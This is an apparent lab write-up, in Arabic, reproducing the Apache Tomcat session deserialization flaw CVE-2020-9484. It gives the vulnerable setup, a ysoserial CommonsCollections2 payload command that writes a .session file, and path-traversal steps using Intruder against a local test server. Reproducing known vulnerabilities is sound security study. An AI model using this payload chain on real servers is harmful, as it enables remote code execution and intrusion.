CVE-2020-9484

إعادة إنتاج ثغرة تنفيذ الكود عبر إلغاء تسلسل جلسات Apache Tomcat CVE-2020-9484 باستخدام Kali 2.0

البيئة:

1. Kali 2.0
2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz (webapp هو s2-053، مع إضافة commons-collections4-4.0.jar إلى مجلد lib الخاص به)
   
   

التشغيل

/yourtomcatdir/bin/startup.sh

إنشاء الحمولة

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/9484" > /tmp/22222.session

الاستغلال

قم بزيارة S2-053 أولاً للتأكد من أنه يعمل بشكل طبيعي: http://192.168.152.128:8080/s2-053/
أعد الزيارة والتقط الحزم، ثم استخدم intruder لتنفيذ اجتياز المسار

تم تنفيذ الأمر بنجاح:

المرجع : https://mp.weixin.qq.com/s/OGdHSwqydiDqe-BUkheTGg